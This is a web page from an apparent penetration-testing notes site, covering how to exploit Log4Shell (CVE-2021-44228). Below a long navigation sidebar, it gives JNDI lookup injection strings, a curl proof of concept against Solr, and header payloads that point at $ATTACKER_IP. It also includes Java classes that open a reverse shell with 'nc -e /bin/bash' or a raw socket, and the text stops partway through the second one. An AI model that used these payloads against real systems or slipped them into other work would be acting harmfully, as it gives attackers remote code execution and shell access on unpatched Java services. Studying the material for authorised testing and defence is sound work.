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husk/build/exploit/java/log4shell.html

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<!doctype html>
<html lang="en">
<center>
<head>
<script src="https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script type="text/javascript" src="/static/js/auto-complete.js"></script>
<script type="text/javascript" src="/static/js/lunr.min.js"></script>
<script type="text/javascript" src="/static/js/search.js"></script>
<link rel="stylesheet" href="/static/stylesheet.css">
<link rel="stylesheet" href="/static/auto-complete.css">
<br>
<title>The Real Hugo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!-- topmenu -->
<div class="menu">
<a href="/" style="text-decoration:none">Husk</a>
</div>
<div class="search-container">
<label for="search-by"><i class="fas fa-search"></i></label>
<input data-search-input="" id="search-by" type="search" placeholder="Search..." autocomplete="off">
<!--button type="submit"><i class="search"></i>&#128269;</button>-->
<span data-search-clear=""><i class="fas fa-times"></i></span>
</div>
</div>
<div class="menu">
</div>
<!--br><br-->
</center>
<p></p>
<div class="columns">
<!-- Sidebar -->
<div class="column column-1">
<ul><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs/meltdown.html">meltdown</a></li></ul></details><details id=binaries ontoggle="linkClick(this); return false;" ><summary>Binaries</summary><ul><li><a href="/exploit/binaries/Shellcode.html">Shellcode</a></li><li><a href="/exploit/binaries/aslr.html">aslr</a></li><details id=buffer_overflow ontoggle="linkClick(this); return false;" ><summary>Buffer_overflow</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/exploit/binaries/buffer_overflow/docs/amd64.html">amd64</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/amd64_instructions.html">amd64_instructions</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/buffer_overflow.html">buffer_overflow</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html">cut_stack_in_half</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html">pwntools_specifics</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html">ret_address_reuse</a></li></ul></details><li><a href="/exploit/binaries/buffer_overflow/ropping.html">ropping</a></li></ul></details><details id=canary_bypass ontoggle="linkClick(this); return false;" ><summary>Canary_bypass</summary><ul><li><a href="/exploit/binaries/canary_bypass/canary_bypass.html">canary_bypass</a></li></ul></details><details id=format_string ontoggle="linkClick(this); return false;" ><summary>Format_string</summary><ul><li><a href="/exploit/binaries/format_string/format_string.html">format_string</a></li></ul></details><details id=integral_promotion ontoggle="linkClick(this); return false;" ><summary>Integral_promotion</summary><ul><li><a href="/exploit/binaries/integral_promotion/integral_promotion.html">integral_promotion</a></li></ul></details><li><a href="/exploit/binaries/plt_got.html">plt_got</a></li><li><a href="/exploit/binaries/r2.html">r2</a></li><li><a href="/exploit/binaries/ret2libc.html">ret2libc</a></li></ul></details><details id=dns ontoggle="linkClick(this); return false;" ><summary>Dns</summary><ul><li><a href="/exploit/dns/zone_transfer.html">zone_transfer</a></li></ul></details><details id=hashes ontoggle="linkClick(this); return false;" ><summary>Hashes</summary><ul><li><a href="/exploit/hashes/collision.html">collision</a></li></ul></details><details id=imagemagick ontoggle="linkClick(this); return false;" ><summary>Imagemagick</summary><ul><li><a href="/exploit/imagemagick/imagetragick.html">imagetragick</a></li></ul></details><details id=java ontoggle="linkClick(this); return false;" ><summary>Java</summary><ul><details id=OGNL ontoggle="linkClick(this); return false;" ><summary>OGNL</summary><ul><li><a href="/exploit/java/OGNL/cve_2022_26134.html">cve_2022_26134</a></li></ul></details><li><a href="/exploit/java/ghidra_debug.html">ghidra_debug</a></li><li><a href="/exploit/java/ghostcat.html">ghostcat</a></li><li><a href="/exploit/java/log4shell.html">log4shell</a></li><li><a href="/exploit/java/spring4shell.html">spring4shell</a></li></ul></details><details id=level3_hypervisor ontoggle="linkClick(this); return false;" ><summary>Level3_hypervisor</summary><ul><details id=docker_sec ontoggle="linkClick(this); return false;" ><summary>Docker_sec</summary><ul><li><a href="/exploit/level3_hypervisor/docker_sec/docker.html">docker</a></li></ul></details><li><a href="/exploit/level3_hypervisor/kubernetes.html">kubernetes</a></li><li><a href="/exploit/level3_hypervisor/lxc.html">lxc</a></li><li><a href="/exploit/level3_hypervisor/microk8s.html">microk8s</a></li></ul></details><details id=linux ontoggle="linkClick(this); return false;" ><summary>Linux</summary><ul><li><a href="/exploit/linux/capabilities.html">capabilities</a></li><details id=dirty_pipe ontoggle="linkClick(this); return false;" ><summary>Dirty_pipe</summary><ul><li><a href="/exploit/linux/dirty_pipe/dirty_pipe.html">dirty_pipe</a></li></ul></details><li><a href="/exploit/linux/exiftool.html">exiftool</a></li><li><a href="/exploit/linux/groups.html">groups</a></li><li><a href="/exploit/linux/ld_preload.html">ld_preload</a></li><li><a href="/exploit/linux/nfs_rootsquash.html">nfs_rootsquash</a></li><li><a href="/exploit/linux/overlayfs.html">overlayfs</a></li><details id=pkexec ontoggle="linkClick(this); return false;" ><summary>Pkexec</summary><ul><li><a href="/exploit/linux/pkexec/CVE_2021_4034.html">CVE_2021_4034</a></li></ul></details><li><a href="/exploit/linux/polkit.html">polkit</a></li><li><a href="/exploit/linux/racing_conditions.html">racing_conditions</a></li><li><a href="/exploit/linux/setcap.html">setcap</a></li><li><a href="/exploit/linux/shared_object_injection.html">shared_object_injection</a></li><li><a href="/exploit/linux/shell_shock.html">shell_shock</a></li><details id=sudo ontoggle="linkClick(this); return false;" ><summary>Sudo</summary><ul><li><a href="/exploit/linux/sudo/CVE_2019_14287.html">CVE_2019_14287</a></li><li><a href="/exploit/linux/sudo/CVE_2019_18634.html">CVE_2019_18634</a></li><li><a href="/exploit/linux/sudo/baron_samedit.html">baron_samedit</a></li><li><a href="/exploit/linux/sudo/tokens.html">tokens</a></li></ul></details><li><a href="/exploit/linux/wildard_exploitation.html">wildard_exploitation</a></li></ul></details><details id=macOS ontoggle="linkClick(this); return false;" ><summary>MacOS</summary><ul></ul></details><details id=network ontoggle="linkClick(this); return false;" ><summary>Network</summary><ul><li><a href="/exploit/network/mac_spoofing.html">mac_spoofing</a></li></ul></details><details id=padding ontoggle="linkClick(this); return false;" ><summary>Padding</summary><ul><li><a href="/exploit/padding/padbuster.html">padbuster</a></li></ul></details><details id=python ontoggle="linkClick(this); return false;" ><summary>Python</summary><ul><li><a href="/exploit/python/code_injection.html">code_injection</a></li><li><a href="/exploit/python/jail_escape.html">jail_escape</a></li><li><a href="/exploit/python/lib_hijack.html">lib_hijack</a></li><li><a href="/exploit/python/pickle.html">pickle</a></li><li><a href="/exploit/python/pwntools.html">pwntools</a></li><li><a href="/exploit/python/pyc.html">pyc</a></li><li><a href="/exploit/python/scapy.html">scapy</a></li></ul></details><details id=samba ontoggle="linkClick(this); return false;" ><summary>Samba</summary><ul><li><a href="/exploit/samba/smbmap.html">smbmap</a></li></ul></details><details id=sqli ontoggle="linkClick(this); return false;" ><summary>Sqli</summary><ul><li><a href="/exploit/sqli/mssql.html">mssql</a></li><li><a href="/exploit/sqli/no_sqli.html">no_sqli</a></li><li><a href="/exploit/sqli/sqli.html">sqli</a></li><li><a href="/exploit/sqli/sqlmap.html">sqlmap</a></li></ul></details><details id=ssl_tls ontoggle="linkClick(this); return false;" ><summary>Ssl_tls</summary><ul><li><a href="/exploit/ssl_tls/heartbleed.html">heartbleed</a></li></ul></details><details id=web ontoggle="linkClick(this); return false;" ><summary>Web</summary><ul><details id=bypass_rate_limiting ontoggle="linkClick(this); return false;" ><summary>Bypass_rate_limiting</summary><ul><li><a href="/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html">bypass_rate_limiting</a></li></ul></details><li><a href="/exploit/web/command_injection.html">command_injection</a></li><details id=content_security_policy ontoggle="linkClick(this); return false;" ><summary>Content_security_policy</summary><ul><li><a href="/exploit/web/content_security_policy/content_security_policy.html">content_security_policy</a></li></ul></details><li><a href="/exploit/web/cookie_tampering.html">cookie_tampering</a></li><li><a href="/exploit/web/csrf.html">csrf</a></li><details id=forced_browsing ontoggle="linkClick(this); return false;" ><summary>Forced_browsing</summary><ul><li><a href="/exploit/web/forced_browsing/forced_browsing.html">forced_browsing</a></li></ul></details><li><a href="/exploit/web/http_header_injection.html">http_header_injection</a></li><details id=idor ontoggle="linkClick(this); return false;" ><summary>Idor</summary><ul><li><a href="/exploit/web/idor/idor.html">idor</a></li></ul></details><details id=javascript ontoggle="linkClick(this); return false;" ><summary>Javascript</summary><ul><li><a href="/exploit/web/javascript/bypass_filters.html">bypass_filters</a></li><li><a href="/exploit/web/javascript/prototype_pollution.html">prototype_pollution</a></li></ul></details><details id=jwt ontoggle="linkClick(this); return false;" ><summary>Jwt</summary><ul><li><a href="/exploit/web/jwt/jwt.html">jwt</a></li></ul></details><li><a href="/exploit/web/local_file_inclusion.html">local_file_inclusion</a></li><li><a href="/exploit/web/methodology.html">methodology</a></li><details id=nodejs ontoggle="linkClick(this); return false;" ><summary>Nodejs</summary><ul><li><a href="/exploit/web/nodejs/deserialization.html">deserialization</a></li></ul></details><details id=php ontoggle="linkClick(this); return false;" ><summary>Php</summary><ul><li><a href="/exploit/web/php/command_injection.html">command_injection</a></li><li><a href="/exploit/web/php/password_reset.html">password_reset</a></li><li><a href="/exploit/web/php/php_base64_filter.html">php_base64_filter</a></li><li><a href="/exploit/web/php/php_image_exif.html">php_image_exif</a></li><li><a href="/exploit/web/php/php_user_agent_rce.html">php_user_agent_rce</a></li><li><a href="/exploit/web/php/preload_lib.html">preload_lib</a></li><li><a href="/exploit/web/php/unserialize.html">unserialize</a></li></ul></details><li><a href="/exploit/web/re_registration.html">re_registration</a></li><li><a href="/exploit/web/remote_file_inclusion.html">remote_file_inclusion</a></li><details id=ssrf ontoggle="linkClick(this); return false;" ><summary>Ssrf</summary><ul><li><a href="/exploit/web/ssrf/iframe.html">iframe</a></li><li><a href="/exploit/web/ssrf/ssrf.html">ssrf</a></li></ul></details><details id=ssti ontoggle="linkClick(this); return false;" ><summary>Ssti</summary><ul><li><a href="/exploit/web/ssti/ssti.html">ssti</a></li></ul></details><li><a href="/exploit/web/url_forgery.html">url_forgery</a></li><li><a href="/exploit/web/wordpress.html">wordpress</a></li><li><a href="/exploit/web/xpath.html">xpath</a></li><li><a href="/exploit/web/xss.html">xss</a></li><details id=xxe ontoggle="linkClick(this); return false;" ><summary>Xxe</summary><ul><li><a href="/exploit/web/xxe/wp_xxe_.html">wp_xxe_</a></li><li><a href="/exploit/web/xxe/xml_external_entity.html">xml_external_entity</a></li></ul></details></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><details id=Portable Executables ontoggle="linkClick(this); return false;" ><summary>Portable Executables</summary><ul><li><a href="/exploit/windows/Portable Executables/Shellcode.html">Shellcode</a></li></ul></details><details id=dll_hijacking ontoggle="linkClick(this); return false;" ><summary>Dll_hijacking</summary><ul><li><a href="/exploit/windows/dll_hijacking/dll_hijacking.html">dll_hijacking</a></li></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/exploit/windows/docs/always_installed_elevated.html">always_installed_elevated</a></li><li><a href="/exploit/windows/docs/crackmapexec.html">crackmapexec</a></li><li><a href="/exploit/windows/docs/dpapi.html">dpapi</a></li><li><a href="/exploit/windows/docs/impacket.html">impacket</a></li><li><a href="/exploit/windows/docs/llmnr.html">llmnr</a></li><li><a href="/exploit/windows/docs/lnk_exploit.html">lnk_exploit</a></li><li><a href="/exploit/windows/docs/pass_the_hash.html">pass_the_hash</a></li><li><a href="/exploit/windows/docs/password_in_registry.html">password_in_registry</a></li><li><a href="/exploit/windows/docs/potatoes.html">potatoes</a></li><li><a href="/exploit/windows/docs/printnightmare.html">printnightmare</a></li><li><a href="/exploit/windows/docs/responder.html">responder</a></li><li><a href="/exploit/windows/docs/unquoted_path.html">unquoted_path</a></li></ul></details><details id=macros ontoggle="linkClick(this); return false;" ><summary>Macros</summary><ul><li><a href="/exploit/windows/macros/macros.html">macros</a></li></ul></details><details id=payloads ontoggle="linkClick(this); return false;" ><summary>Payloads</summary><ul><li><a href="/exploit/windows/payloads/windows_scripting_host.html">windows_scripting_host</a></li></ul></details><details id=print_nightmare ontoggle="linkClick(this); return false;" ><summary>Print_nightmare</summary><ul><details id=CVE-2021-1675 ontoggle="linkClick(this); return false;" ><summary>CVE-2021-1675</summary><ul><details id=nightmare-dll ontoggle="linkClick(this); return false;" ><summary>Nightmare-dll</summary><ul></ul></details></ul></details><li><a href="/exploit/windows/print_nightmare/print_nightmare.html">print_nightmare</a></li></ul></details><details id=process_injection ontoggle="linkClick(this); return false;" ><summary>Process_injection</summary><ul><li><a href="/exploit/windows/process_injection/dll_injection.html">dll_injection</a></li><li><a href="/exploit/windows/process_injection/process_hollowing.html">process_hollowing</a></li><li><a href="/exploit/windows/process_injection/shellcode_injection.html">shellcode_injection</a></li><li><a href="/exploit/windows/process_injection/thread_hijacking.html">thread_hijacking</a></li></ul></details><details id=service_escalation ontoggle="linkClick(this); return false;" ><summary>Service_escalation</summary><ul><li><a href="/exploit/windows/service_escalation/service_escalation.html">service_escalation</a></li></ul></details><details id=zero_logon ontoggle="linkClick(this); return false;" ><summary>Zero_logon</summary><ul><li><a href="/exploit/windows/zero_logon/zero_logon.html">zero_logon</a></li></ul></details></ul></details><details id=yaml ontoggle="linkClick(this); return false;" ><summary>Yaml</summary><ul><li><a href="/exploit/yaml/deserialization.html">deserialization</a></li></ul></details></ul></details><details id=forensics ontoggle="linkClick(this); return false;" ><summary>Forensics</summary><ul><li><a href="/forensics/ios.html">ios</a></li><li><a href="/forensics/kape.html">kape</a></li><li><a href="/forensics/ntfs.html">ntfs</a></li><li><a href="/forensics/oletools.html">oletools</a></li><li><a href="/forensics/volatility.html">volatility</a></li><li><a href="/forensics/windows_registry.html">windows_registry</a></li></ul></details><details id=hashes ontoggle="linkClick(this); return false;" ><summary>Hashes</summary><ul><details id=bruteforce ontoggle="linkClick(this); return false;" ><summary>Bruteforce</summary><ul><li><a href="/hashes/bruteforce/patator.html">patator</a></li></ul></details><li><a href="/hashes/generate_wordlists.html">generate_wordlists</a></li><li><a href="/hashes/haiti.html">haiti</a></li><li><a href="/hashes/hashcat_utils.html">hashcat_utils</a></li><details id=password_cracking ontoggle="linkClick(this); return false;" ><summary>Password_cracking</summary><ul><li><a href="/hashes/password_cracking/hydra.html">hydra</a></li><li><a href="/hashes/password_cracking/john.html">john</a></li><li><a href="/hashes/password_cracking/smb_challenge.html">smb_challenge</a></li><li><a href="/hashes/password_cracking/sucrack.html">sucrack</a></li><li><a href="/hashes/password_cracking/vnc.html">vnc</a></li></ul></details><details id=password_guessing ontoggle="linkClick(this); return false;" ><summary>Password_guessing</summary><ul><li><a href="/hashes/password_guessing/standard_passwords.html">standard_passwords</a></li></ul></details></ul></details><details id=persistence ontoggle="linkClick(this); return false;" ><summary>Persistence</summary><ul><li><a href="/persistence/bashrc.html">bashrc</a></li><li><a href="/persistence/crontab.html">crontab</a></li><li><a href="/persistence/meterpreter.html">meterpreter</a></li><li><a href="/persistence/persistence.html">persistence</a></li><li><a href="/persistence/wmi.html">wmi</a></li></ul></details><details id=post exploitation ontoggle="linkClick(this); return false;" ><summary>Post exploitation</summary><ul><details id=Seatbelt ontoggle="linkClick(this); return false;" ><summary>Seatbelt</summary><ul><details id=.github ontoggle="linkClick(this); return false;" ><summary>.github</summary><ul><details id=ISSUE_TEMPLATE ontoggle="linkClick(this); return false;" ><summary>ISSUE_TEMPLATE</summary><ul><li><a href="/post exploitation/Seatbelt/.github/ISSUE_TEMPLATE/bug_report.html">bug_report</a></li><li><a href="/post exploitation/Seatbelt/.github/ISSUE_TEMPLATE/feature_request.html">feature_request</a></li></ul></details></ul></details><li><a href="/post exploitation/Seatbelt/CHANGELOG.html">CHANGELOG</a></li><details id=Seatbelt ontoggle="linkClick(this); return false;" ><summary>Seatbelt</summary><ul><details id=Commands ontoggle="linkClick(this); return false;" ><summary>Commands</summary><ul><details id=Windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><details id=EventLogs ontoggle="linkClick(this); return false;" ><summary>EventLogs</summary><ul></ul></details></ul></details></ul></details><details id=Output ontoggle="linkClick(this); return false;" ><summary>Output</summary><ul></ul></details></ul></details></ul></details><details id=bc_security ontoggle="linkClick(this); return false;" ><summary>Bc_security</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/post exploitation/docs/c2.html">c2</a></li><li><a href="/post exploitation/docs/crackmapexec.html">crackmapexec</a></li><li><a href="/post exploitation/docs/empire.html">empire</a></li><li><a href="/post exploitation/docs/ids_ips_evation.html">ids_ips_evation</a></li><li><a href="/post exploitation/docs/linux.html">linux</a></li><li><a href="/post exploitation/docs/metasploit.html">metasploit</a></li><li><a href="/post exploitation/docs/mimikatz.html">mimikatz</a></li><li><a href="/post exploitation/docs/mitm.html">mitm</a></li><li><a href="/post exploitation/docs/nfs_root_squash.html">nfs_root_squash</a></li><li><a href="/post exploitation/docs/powershell.html">powershell</a></li><li><a href="/post exploitation/docs/secretsdump.html">secretsdump</a></li><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/post exploitation/docs/windows/Signature-Evasion.html">Signature-Evasion</a></li><li><a href="/post exploitation/docs/windows/antivirus_evasion.html">antivirus_evasion</a></li><li><a href="/post exploitation/docs/windows/applocker.html">applocker</a></li><li><a href="/post exploitation/docs/windows/evade_event_tracing.html">evade_event_tracing</a></li><li><a href="/post exploitation/docs/windows/living_off_the_land.html">living_off_the_land</a></li><li><a href="/post exploitation/docs/windows/pass_the_hash.html">pass_the_hash</a></li><li><a href="/post exploitation/docs/windows/powershell_logs.html">powershell_logs</a></li><li><a href="/post exploitation/docs/windows/registry.html">registry</a></li><li><a href="/post exploitation/docs/windows/sebackupprivilege.html">sebackupprivilege</a></li><li><a href="/post exploitation/docs/windows/user_account_control.html">user_account_control</a></li></ul></details></ul></details><li><a href="/post exploitation/pivoting.html">pivoting</a></li><details id=priv_esc ontoggle="linkClick(this); return false;" ><summary>Priv_esc</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/post exploitation/priv_esc/docs/linux_priv_esc.html">linux_priv_esc</a></li><li><a href="/post exploitation/priv_esc/docs/pspy.html">pspy</a></li><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/post exploitation/priv_esc/docs/windows/add_user.html">add_user</a></li><li><a href="/post exploitation/priv_esc/docs/windows/windows_priv_esc.html">windows_priv_esc</a></li></ul></details></ul></details><details id=kernel-exploits ontoggle="linkClick(this); return false;" ><summary>Kernel-exploits</summary><ul></ul></details><details id=privesc-scripts ontoggle="linkClick(this); return false;" ><summary>Privesc-scripts</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/post exploitation/priv_esc/privesc-scripts/docs/get_script_onto_target.html">get_script_onto_target</a></li></ul></details></ul></details><details id=suid ontoggle="linkClick(this); return false;" ><summary>Suid</summary><ul></ul></details></ul></details></ul></details><details id=reverse engineering ontoggle="linkClick(this); return false;" ><summary>Reverse engineering</summary><ul><details id=android ontoggle="linkClick(this); return false;" ><summary>Android</summary><ul><li><a href="/reverse engineering/android/misc.html">misc</a></li></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/reverse engineering/docs/deobfuscation.html">deobfuscation</a></li><li><a href="/reverse engineering/docs/dll_reversing.html">dll_reversing</a></li><li><a href="/reverse engineering/docs/firmware.html">firmware</a></li><li><a href="/reverse engineering/docs/function_mangling.html">function_mangling</a></li><li><a href="/reverse engineering/docs/scada.html">scada</a></li></ul></details><details id=java ontoggle="linkClick(this); return false;" ><summary>Java</summary><ul><li><a href="/reverse engineering/java/krakatau.html">krakatau</a></li></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/reverse engineering/windows/portable-executable.html">portable-executable</a></li></ul></details></ul></details><details id=reverse shells ontoggle="linkClick(this); return false;" ><summary>Reverse shells</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/reverse shells/docs/evil-winrm.html">evil-winrm</a></li><li><a href="/reverse shells/docs/msfconsole.html">msfconsole</a></li><li><a href="/reverse shells/docs/msfvenom.html">msfvenom</a></li><li><a href="/reverse shells/docs/netcat.html">netcat</a></li><li><a href="/reverse shells/docs/powershell.html">powershell</a></li><li><a href="/reverse shells/docs/shell_upgrade.html">shell_upgrade</a></li><li><a href="/reverse shells/docs/socat.html">socat</a></li><li><a href="/reverse shells/docs/webshell.html">webshell</a></li></ul></details><li><a href="/reverse shells/firewalls.html">firewalls</a></li><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul></ul></details></ul></details>
</ul>
</div>
<div class="column column-2">
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<div class="column column-3">
<ul>
<li><a href="#log4shell">Log4Shell</a><ul>
<li><a href="#java-naming-and-directory-interface-jndi">Java Naming and Directory Interface JNDI</a></li>
<li><a href="#poc">POC</a></li>
<li><a href="#usage">Usage</a></li>
<li><a href="#detection">Detection</a></li>
<li><a href="#obfuscation">Obfuscation</a></li>
<li><a href="#mitgation">Mitgation</a></li>
</ul>
</li>
</ul>
</div>
<h1 id="log4shell">Log4Shell</h1>
<ul>
<li><code>log4j</code> &lt; version 2.15.0rc2</li>
<li><a href="https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java">CVE-2021-44228</a></li>
<li><a href="https://log4shell.huntress.com/">log4j vulnerability tester</a></li>
<li>
<p><a href="https://github.com/YfryTchsGD/Log4jAttackSurface">List of exploitable services</a></p>
</li>
<li>
<p>Code inside a <code>param</code> value is parsed and a <code>${payload}</code> will be executed, for example</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="si">${</span><span class="nv">sys</span><span class="p">:</span><span class="nv">os</span><span class="p">.name</span><span class="si">}</span>
<span class="si">${</span><span class="nv">sys</span><span class="p">:</span><span class="nv">user</span><span class="p">.name</span><span class="si">}</span>
<span class="si">${</span><span class="nv">log4j</span><span class="p">:</span><span class="nv">configParentLocation</span><span class="si">}</span>
<span class="si">${</span><span class="nv">ENV</span><span class="p">:</span><span class="nv">PATH</span><span class="si">}</span>
<span class="si">${</span><span class="nv">ENV</span><span class="p">:</span><span class="nv">HOSTNAME</span><span class="si">}</span>
<span class="si">${</span><span class="nv">java</span><span class="p">:</span><span class="nv">version</span><span class="si">}</span>
</code></pre></div>
<h2 id="java-naming-and-directory-interface-jndi">Java Naming and Directory Interface JNDI</h2>
<ul>
<li>Vulnerability can be exploited via <code>${jndi:ldap://&lt;attacker-IP&gt;/foo}</code></li>
</ul>
<h2 id="poc">POC</h2>
<div class="codehilite"><pre><span></span><code>curl <span class="s1">&#39;http://$TARGET:8983/solr/admin/cores?foo=?$\{jndi:ldap://$ATTACKER_IP:4449\}&#39;</span>
</code></pre></div>
<ul>
<li>Use HTTP header field as storage for payload or any other possible input field</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="err">X-Forwarded-For: ${jndi:ldap://$ATTACKER_IP:1389/foo}</span>
<span class="err">Accept: ${jndi:ldap://$ATTACKER_IP:1389/foo}</span>
<span class="err">X-Api-Version: ${jndi:ldap://$ATTACKER_IP:1389/foo}</span>
</code></pre></div>
<h2 id="usage">Usage</h2>
<ul>
<li>Fuzz endpoints to applicate the exploit on</li>
<li>Clone and build <a href="https://github.com/mbechler/marshalsec">marshallsec</a> via <code>mvn clean package -DskipTests</code></li>
<li>Java version should be the same as the one on the target</li>
<li>
<p>A Proxy LDAP server to an HTTP server is needed</p>
</li>
<li>
<p>Compile following Java reverse shell via <code>javac Exploit.java -source 8 -target 8</code> to Exploit.class</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">Exploit</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">.</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="s">&quot;nc -e /bin/bash $ATTACKER_IP 4449&quot;</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="n">Exception</span><span class="w"> </span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">e</span><span class="p">.</span><span class="na">printStackTrace</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>or another one </p>
<div class="codehilite"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">java.io.InputStream</span><span class="p">;</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="nn">java.io.OutputStream</span><span class="p">;</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="nn">java.net.Socket</span><span class="p">;</span><span class="w"></span>
<span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">Exploit</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">host</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&quot;$ATTACKER_IP&quot;</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">port</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">4711</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">cmd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&quot;/bin/sh&quot;</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">ProcessBuilder</span><span class="p">(</span><span class="n">cmd</span><span class="p">).</span><span class="na">redirectErrorStream</span><span class="p">(</span><span class="kc">true</span><span class="p">).</span><span class="na">start</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="n">Socket</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Socket</span><span class="p">(</span><span class="n">host</span><span class="p">,</span><span class="w"> </span><span class="n">port</span><span class="p">);</span><span class="w"></span>
